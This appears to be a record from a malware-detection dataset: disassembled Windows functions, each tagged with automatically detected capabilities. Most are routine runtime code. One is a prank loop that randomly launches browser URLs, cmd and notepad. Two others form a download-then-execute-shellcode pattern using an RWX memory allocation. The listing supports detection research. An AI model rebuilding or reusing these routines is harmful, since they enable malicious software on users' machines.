joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400018a0
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x20
lea rbx, [0x140000000]
nop dword [rax]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
and eax, 0x80000003
jge 0x1400018cf
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x1400018f9
sub eax, 1
je case.default.0x14000192c
sub eax, 1
je 0x140001989
cmp eax, 1
jne 0x1400018b0
lea rcx, str.start_msedge
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400018b0
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
cmp r8d, 5
ja case.default.0x14000192c
movsxd rax, r8d
mov ecx, dword [rbx + rax*4 + 0x19a8]
add rcx, rbx
jmp rcx
lea rcx, str.start_https:__www.google.com_search_qhow2deletevirus
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__www.google.com_search_qdownloadminecraftcheats
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__www.google.com_search_qdownloadcsgocheats
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__www.youtube.com_watch_vdQw4w9WgXcQ
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__www.youtube.com_channel_UCjYlpjuHknFt9NXZcyaHPyQ
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__www.youtube.com_watch_vD8RESpMT1M8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_cmd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_notepad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_msedge
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400018b0
Function at 0x1400034e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003532
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003532
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003532
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003532
cmp dword [rcx + 0x84], 0xe
jbe 0x140003532
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003534
xor al, al
add rsp, 0x28
ret
Function at 0x408aa0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
cmp byte [0x0042d090], 0
je 0x408b3e
cmp word [0x0042d3a0], 0xd7b2
jne 0x408ad3
cmp dword [0x0042d3a8], 0
jbe 0x408ad3
lea rcx, [0x0042d398]
call qword [0x0042d3c0]
mov ecx, 0xfffffff5
call sub.kernel32.dll_GetStdHandle
mov rcx, rax
lea rdx, [0x00429618]
mov r8d, 0x25
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff5
call sub.kernel32.dll_GetStdHandle
mov rbx, rax
lea rcx, [0x00408b74]
call fcn.00409820
mov rcx, rbx
mov rdx, rax
mov r8d, 2
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
jmp 0x408b60
cmp byte [0x0042803a], 0
jne 0x408b60
xor rcx, rcx
lea rdx, [0x00429618]
lea r8, str.Error
xor r9, r9
call sub.user32.dll_MessageBoxA
add rsp, 0x40
pop rbx
ret

Function at 0x40af70
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
lea rcx, [0x00431c78]
call sub.kernel32.dll_InitializeCriticalSection
mov word [0x00431ca0], 0x7f
call sub.kernel32.dll_GetVersion
and eax, 0xff
cmp eax, 6
setae al
mov byte [0x00431c70], al
cmp byte [0x00431c70], 0
je 0x40b00f
lea rcx, [0x0040b014]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x0040b02e]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00431c58], rax
lea rcx, [0x0040b014]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x0040b04c]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00431c60], rax
lea rcx, [0x0040b014]
call sub.kernel32.dll_GetModuleHandleW
mov rcx, rax
lea rdx, [0x0040b06a]
call sub.kernel32.dll_GetProcAddress
mov qword [0x00431c68], rax
add rsp, 0x28
ret
Function at 0x40b290
Capabilities:
Get geographical location

Disassembly:
push rbp
sub rsp, 0x1d0
mov rbp, rsp
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x40], rdx
mov word [rbp + 0x4e], r8w
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x58], 0
nop
mov rcx, qword [rbp + 0x40]
call fcn.00408ed0
movzx rax, word [rbp + 0x4e]
cmp word [0x00429aa0], ax
ja 0x40b378
movzx rax, word [rbp + 0x4e]
cmp ax, word [0x00429ea0]
mov word [rbp + 0x4e], ax
ja 0x40b378
mov ecx, 0x40
xor r8, r8
cmp ecx, r8d
jb 0x40b377
mov eax, ecx
add eax, r8d
mov r9d, 2
xor edx, edx
div r9d
lea rdx, [0x00429aa0]
mov r9d, eax
add r9, r9
movzx r10, word [rbp + 0x4e]
cmp word [rdx + r9*8], r10w
jbe 0x40b331
mov ecx, eax
sub ecx, 1
jmp 0x40b372
lea rdx, [0x00429aa0]
mov r8d, eax
add r8, r8
movzx r9, word [rbp + 0x4e]
cmp word [rdx + r8*8], r9w
jae 0x40b353
mov r8d, eax
add r8d, 1
jmp 0x40b372
mov rcx, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x40]
lea r8, [0x00429aa8]
mov eax, eax
add rax, rax
mov r8, qword [r8 + rax*8]
call fcn.0040b130
jmp 0x40b377
cmp ecx, r8d
jae 0x40b300
nop
mov rax, qword [rbp + 0x40]
cmp qword [rax], 0
jne 0x40b45a
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 2
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40b45a
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 0x59
lea r8, [rbp + 0x126]
mov r9d, 0x55
call sub.kernel32.dll_GetLocaleInfoW
movzx rcx, word [rbp + 0x4e]
movzx ecx, cx
mov edx, 0x5a
lea r8, [rbp + 0x7c]
mov r9d, 0x55
call sub.kernel32.dll_GetLocaleInfoW
lea rcx, [rbp + 0x68]
lea rdx, [rbp + 0x126]
mov r8d, 0x55
call fcn.00409bb0
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x7c]
mov r8d, 0x55
call fcn.00409bb0
lea rcx, [rbp + 0x58]
lea rdx, [rbp + 0x126]
mov r8d, 0x55
call fcn.00409bb0
mov rcx, qword [rbp + 0x40]
mov edx, 5
mov r8, qword [rbp + 0x68]
lea r9, [0x0040b4b4]
mov rax, qword [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea rax, [0x0040b4c4]
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.00409f60
nop
lea rcx, [rbp + 0x58]
mov edx, 3
call fcn.00408fb0
mov rax, qword [rbp + 0x40]
lea rsp, [rbp + 0x1d0]
pop rbp
ret
Function at 0x40b6d0
Capabilities:
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov word [rbp + 0x36], dx
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
nop
lea rcx, [0x00431c78]
call sub.kernel32.dll_EnterCriticalSection
movzx rax, word [rbp + 0x36]
cmp word [0x00431ca0], ax
jne 0x40b73b
mov rcx, qword [rbp + 0x28]
lea rdx, [0x00431ca2]
mov r8d, 0x55
call fcn.00409bb0
lea rcx, [0x00431c78]
call sub.kernel32.dll_LeaveCriticalSection
jmp 0x40b847
lea rcx, [0x00431c78]
call sub.kernel32.dll_LeaveCriticalSection
mov rcx, qword [rbp + 0x28]
call fcn.00408ed0
movzx rcx, word [rbp + 0x36]
movzx ecx, cx
mov edx, 2
call sub.kernel32.dll_IsValidLocale
test eax, eax
je 0x40b800
cmp byte [0x00431c70], 0
je 0x40b794
mov rcx, rbp
lea rdx, [rbp + 0x48]
movzx r8, word [rbp + 0x36]
call fcn.0040b560
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x48]
call fcn.00409380
jmp 0x40b800
mov rcx, rbp
lea rdx, [rbp + 0x40]
movzx r8, word [rbp + 0x36]
call fcn.0040b290
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
call fcn.00409380
call sub.kernel32.dll_GetSystemDefaultUILanguage
movzx rcx, word [rbp + 0x36]
cmp cx, ax
mov word [rbp + 0x36], cx
je 0x40b800
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
je 0x40b7df
mov rcx, qword [rbp + 0x28]
lea rdx, [0x0040b894]
call fcn.00409d60
call sub.kernel32.dll_GetSystemDefaultUILanguage
mov rcx, rbp
lea rdx, [rbp + 0x38]
mov r8d, eax
call fcn.0040b290
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x38]
call fcn.00409d60
lea rcx, [0x00431c78]
call sub.kernel32.dll_EnterCriticalSection
movzx rax, word [rbp + 0x36]
mov word [0x00431ca0], ax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rax]
call fcn.00409b00
lea rcx, [0x00431ca2]
mov rdx, rax
mov r8d, 0xaa
call sub.kernel32.dll_lstrcpynW
lea rcx, [0x00431c78]
call sub.kernel32.dll_LeaveCriticalSection
nop
lea rcx, [rbp + 0x38]
mov edx, 3
call fcn.00408fb0
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x40c220
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x20], rdx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x70], r8
mov rcx, qword [rbp + 0x70]
call fcn.00409060
nop
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx ecx, ax
mov edx, 3
lea r8, [rbp + 0x48]
mov r9d, 4
call sub.kernel32.dll_GetLocaleInfoW
lea rcx, [rbp + 0x38]
lea rdx, [rbp + 0x48]
mov r8d, 4
call fcn.00409bb0
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x38]
call fcn.00409e30
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
call fcn.0040c050
test al, al
jne 0x40c2ee
mov word [rbp + 0x4c], 0
lea rcx, [rbp + 0x30]
lea rdx, [rbp + 0x48]
mov r8d, 4
call fcn.00409bb0
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x30]
call fcn.00409e30
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov rdx, qword [rax]
call fcn.0040c050
test al, al
jne 0x40c2ee
mov rcx, qword [rbp + 0x20]
call fcn.00408ed0
nop
lea rcx, [rbp + 0x30]
mov edx, 2
call fcn.00408fb0
lea rcx, [rbp + 0x70]
call fcn.00408ed0
mov rax, qword [rbp + 0x20]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x40c350
Capabilities:
Identify system language via api

Disassembly:
push rbp
sub rsp, 0x70
mov rbp, rsp
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x88], rdx
mov qword [rbp + 0x90], r8
mov rcx, qword [rbp + 0x88]
call fcn.00409060
mov rcx, qword [rbp + 0x90]
call fcn.00409060
nop
mov rcx, qword [rbp + 0x28]
call fcn.00408ed0
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
call fcn.00409400
xor rax, rax
cmp qword [rbp + 0x90], 0
je 0x40c3f3
mov rax, qword [rbp + 0x90]
mov eax, dword [rax - 4]
cmp eax, 1
jl 0x40c42d
mov rcx, qword [rbp + 0x90]
movsxd rdx, eax
cmp word [rcx + rdx*2 - 2], 0x2e
jne 0x40c426
lea rcx, [rbp + 0x60]
mov rdx, qword [rbp + 0x90]
mov r8d, 1
mov r9d, eax
call fcn.0040a040
jmp 0x40c42d
sub eax, 1
test eax, eax
jne 0x40c3f8
nop
lea rcx, [rbp + 0x68]
mov rdx, qword [rbp + 0x88]
call fcn.0040bf60
cmp qword [rbp + 0x68], 0
je 0x40c46b
mov rcx, rbp
lea rdx, [rbp + 0x58]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x68]
call fcn.0040c0f0
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x58]
call fcn.00409380
jmp 0x40c507
call sub.kernel32.dll_GetUserDefaultUILanguage
lea rcx, [rbp + 0x48]
mov edx, eax
call fcn.0040b6d0
mov rcx, rbp
lea rdx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x48]
call fcn.0040c0f0
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x50]
call fcn.00409380
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x40c4e0
cmp byte [0x00431c70], 0
jne 0x40c4e0
call sub.kernel32.dll_GetSystemDefaultUILanguage
lea rcx, [rbp + 0x38]
mov edx, eax
call fcn.0040b6d0
mov rcx, rbp
lea rdx, [rbp + 0x40]
mov r8, qword [rbp + 0x60]
mov r9, qword [rbp + 0x38]
call fcn.0040c0f0
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x40]
call fcn.00409380
mov rax, qword [rbp + 0x28]
cmp qword [rax], 0
jne 0x40c507
mov rcx, rbp
lea rdx, [rbp + 0x30]
mov r8, qword [rbp + 0x60]
call fcn.0040c220
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x30]
call fcn.00409380
nop
lea rcx, [rbp + 0x30]
mov edx, 8
call fcn.00408fb0
lea rcx, [rbp + 0x88]
mov edx, 2
call fcn.00408fb0
mov rax, qword [rbp + 0x28]
lea rsp, [rbp + 0x70]
pop rbp
ret

Function at 0x40ce00
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
lea rcx, [rsp + 0x20]
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x40ce20
Capabilities:
Check os version

Disassembly:
sub rsp, 0x28
call sub.kernel32.dll_GetVersion
mov ecx, eax
and ecx, 0xff
and eax, 0xff00
shr eax, 8
cmp ecx, 5
jne 0x40ce44
cmp eax, 1
jae 0x40ce49
cmp ecx, 5
jbe 0x40ce55
mov dword [0x0042d998], 0x7f
jmp 0x40ce5f
mov dword [0x0042d998], 0x409
add rsp, 0x28
ret
Function at 0x40d140
Capabilities:
Set thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
call fcn.0040d130
mov ebx, eax
test ebx, ebx
je 0x40d18b
cmp dword [0x0042a2c4], 0xffffffff
jne 0x40d164
mov ecx, 0xe2
call fcn.00408d40
mov ecx, ebx
call fcn.0040d110
test rax, rax
jne 0x40d17d
mov ecx, 0xe2
call fcn.00408d40
jmp 0x40d18b
mov ecx, dword [0x0042a2c4]
mov rdx, rax
call sub.kernel32.dll_TlsSetValue
add rsp, 0x20
pop rbx
ret

Function at 0x40d1a0
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
cmp byte [0x00431d4c], 0
je 0x40d1db
mov ecx, dword [0x0042a2c4]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x40d1ef
call fcn.0040d140
mov ecx, dword [0x0042a2c4]
call sub.kernel32.dll_TlsGetValue
test rax, rax
jne 0x40d1ef
mov rax, qword [0x00431d80]
jmp 0x40d1ef
mov rax, qword gs:[0x58]
movsxd rcx, dword [0x0042a2c4]
mov rax, qword [rax + rcx*8]
add rsp, 0x28
ret

Function at 0x41f630
Capabilities:
Get geographical location

Disassembly:
push rbp
push rbx
sub rsp, 0x38
mov rbp, rsp
mov ebx, r8d
lea r8, [rbp + 0x2c]
mov r9d, 2
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41f657
movzx rax, word [rbp + 0x2c]
jmp 0x41f659
mov eax, ebx
lea rsp, [rbp + 0x38]
pop rbx
pop rbp
ret

Function at 0x420910
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x8e0
mov rbp, rsp
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], rdx
mov qword [rbp + 0x58], 0
nop
mov rcx, qword [rbp + 0x40]
mov rdx, qword [rbp + 0x48]
lea r8, [rbp + 0x60]
mov r9d, 0x400
call fcn.004206c0
mov ebx, eax
mov rax, qword [0x0042c178]
cmp byte [rax], 0
je 0x420a48
mov rcx, qword [0x0042bfc8]
call fcn.00405940
call fcn.004050b0
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov esi, eax
lea rcx, [rbp + 0x58]
mov rdx, qword [0x004208c8]
mov r8d, 1
movsxd r9, esi
call fcn.0040abe0
mov ecx, 1
xor rdx, rdx
lea r8, [rbp + 0x60]
mov r9d, ebx
mov rax, qword [rbp + 0x58]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
call sub.kernel32.dll_WideCharToMultiByte_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
mov rdx, qword [rbp + 0x58]
mov r8d, esi
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle_1
mov rcx, rax
lea rdx, [0x00420ae4]
mov r8d, 2
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile_1
jmp 0x420a8e
mov rcx, qword [0x00431d50]
call fcn.0040ad40
mov rcx, rax
mov rax, qword [0x0042bf78]
mov edx, dword [rax + 8]
lea r8, [rbp + 0x860]
mov r9d, 0x40
call sub.user32.dll_LoadStringW_1
xor rcx, rcx
lea rdx, [rbp + 0x60]
lea r8, [rbp + 0x860]
mov r9d, 0x2010
call sub.user32.dll_MessageBoxW
nop
lea rcx, [rbp + 0x58]
mov rdx, qword [0x004208c8]
call fcn.0040ac20
lea rsp, [rbp + 0x8e0]
pop rbx
pop rsi
pop rbp
ret
Function at 0x422ce0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r13
push rdi
push rsi
push rbx
sub rsp, 0x240
mov rbp, rsp
mov rbx, rcx
mov rcx, rbx
call fcn.00409530
mov r13d, eax
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
call fcn.0040cde0
mov esi, eax
cmp esi, 0x104
jbe 0x422d3d
mov ecx, esi
add ecx, ecx
mov ecx, ecx
call fcn.00404d80
mov rdi, rax
jmp 0x422d41
lea rdi, [rbp + 0x38]
mov ecx, 0xfde9
xor rdx, rdx
mov r8, rbx
mov r9d, r13d
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], esi
call fcn.0040cde0
mov rax, rdi
mov rcx, rax
call sub.user32.dll_CharUpperW
xor rbx, rbx
xor rax, rax
mov ecx, esi
sub ecx, 1
cmp eax, ecx
jg 0x422d97
add ecx, 1
mov edx, ebx
shl edx, 5
shr ebx, 0x1b
or edx, ebx
mov ebx, edx
movsxd rdx, eax
movzx edx, word [rdi + rdx*2]
xor ebx, edx
add eax, 1
cmp eax, ecx
jne 0x422d7b
nop
lea rax, [rbp + 0x38]
cmp rdi, rax
je 0x422da9
mov rcx, rdi
call fcn.00404db0
mov eax, ebx
lea rsp, [rbp + 0x240]
pop rbx
pop rsi
pop rdi
pop r13
pop rbp
ret

Function at 0x424310
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
sub rsp, 0x460
mov rbp, rsp
mov qword [rbp + 0x38], rbp
mov qword [rbp + 0x470], rcx
mov qword [rbp + 0x478], rdx
mov rcx, qword [rbp + 0x470]
mov rdx, qword [0x00418698]
mov r8d, 1
xor r9, r9
call fcn.0040abe0
xor rcx, rcx
mov edx, 1
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0
call sub.wininet.dll_InternetOpenW
mov qword [rbp + 0x450], rax
cmp qword [rbp + 0x450], 0
jne 0x424394
mov rcx, qword [0x00418d68]
mov dl, 1
lea r8, [0x00424534]
call fcn.00420af0
mov rcx, rax
call fcn.00408270
nop
mov rcx, qword [rbp + 0x478]
call fcn.00409b00
mov rcx, qword [rbp + 0x450]
mov rdx, rax
xor r8, r8
xor r9, r9
mov dword [rsp + 0x20], 0x80000000
mov qword [rsp + 0x28], 0
call sub.wininet.dll_InternetOpenUrlW
mov qword [rbp + 0x458], rax
cmp qword [rbp + 0x458], 0
jne 0x4243f5
mov rcx, qword [0x00418d68]
mov dl, 1
lea r8, [0x00424558]
call fcn.00420af0
mov rcx, rax
call fcn.00408270
nop
mov rcx, qword [rbp + 0x458]
lea rdx, [rbp + 0x50]
mov r8d, 0x400
lea r9, [rbp + 0x4c]
call sub.wininet.dll_InternetReadFile
test eax, eax
jne 0x424432
mov rcx, qword [0x00418d68]
mov dl, 1
lea r8, [0x0042457c]
call fcn.00420af0
mov rcx, rax
call fcn.00408270
cmp dword [rbp + 0x4c], 0
jbe 0x42449b
mov rax, qword [rbp + 0x470]
mov rcx, qword [rax]
call fcn.0040a980
mov rcx, qword [rbp + 0x470]
mov rdx, qword [0x00418698]
mov r8d, 1
mov r9d, dword [rbp + 0x4c]
add rax, r9
mov r9, rax
call fcn.0040abe0
mov rax, qword [rbp + 0x470]
mov rcx, qword [rax]
call fcn.0040a980
lea rcx, [rbp + 0x50]
mov rdx, qword [rbp + 0x470]
mov r8d, dword [rbp + 0x4c]
sub rax, r8
mov rdx, qword [rdx]
add rdx, rax
mov r8d, dword [rbp + 0x4c]
call fcn.00405140
cmp dword [rbp + 0x4c], 0
jne 0x4243f6
nop
mov rcx, qword [rbp + 0x458]
call sub.wininet.dll_InternetCloseHandle
nop
mov rcx, qword [rbp + 0x450]
call sub.wininet.dll_InternetCloseHandle
mov rax, qword [rbp + 0x470]
lea rsp, [rbp + 0x460]
pop rbp
ret
Function at 0x4245a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
sub rsp, 0x50
mov rbp, rsp
mov qword [rbp + 0x28], rbp
mov qword [rbp + 0x60], rcx
mov byte [rbp + 0x47], 0
mov rcx, qword [rbp + 0x60]
call fcn.0040a980
xor rcx, rcx
mov rdx, rax
mov r8d, 0x1000
mov r9d, 0x40
call sub.kernel32.dll_VirtualAlloc_1
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x42461e
nop
mov rcx, qword [rbp + 0x60]
call fcn.0040a980
mov rcx, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x48]
mov r8, rax
call fcn.00405140
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x38], rax
call qword [rbp + 0x38]
mov byte [rbp + 0x47], 1
nop
mov rcx, qword [rbp + 0x48]
xor rdx, rdx
mov r8d, 0x8000
call sub.kernel32.dll_VirtualFree_1
movzx rax, byte [rbp + 0x47]
lea rsp, [rbp + 0x50]
pop rbp
ret
Function at 0x2fc4d4610
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d56f0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d5012
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f7108]
test eax, eax
je 0x2fc4d50aa
lea rax, [0x2fc4f70e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f7110]
mov qword [rbp - 8], rax
jmp 0x2fc4d508e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d5082
cmp qword [rbp - 0x10], 0
je 0x2fc4d5082
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d5048
lea rax, [0x2fc4f70e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d50ab
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d51b0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d51d8
mov eax, 0
jmp 0x2fc4d5226
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d5201
mov eax, 0
jmp 0x2fc4d5226
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d5221
mov eax, 0
jmp 0x2fc4d5226
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d522c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d52aa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d52a1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d52a1
mov rax, qword [rbp - 8]
jmp 0x2fc4d52bf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d5274
mov eax, 0
add rsp, 0x20
pop rbp
ret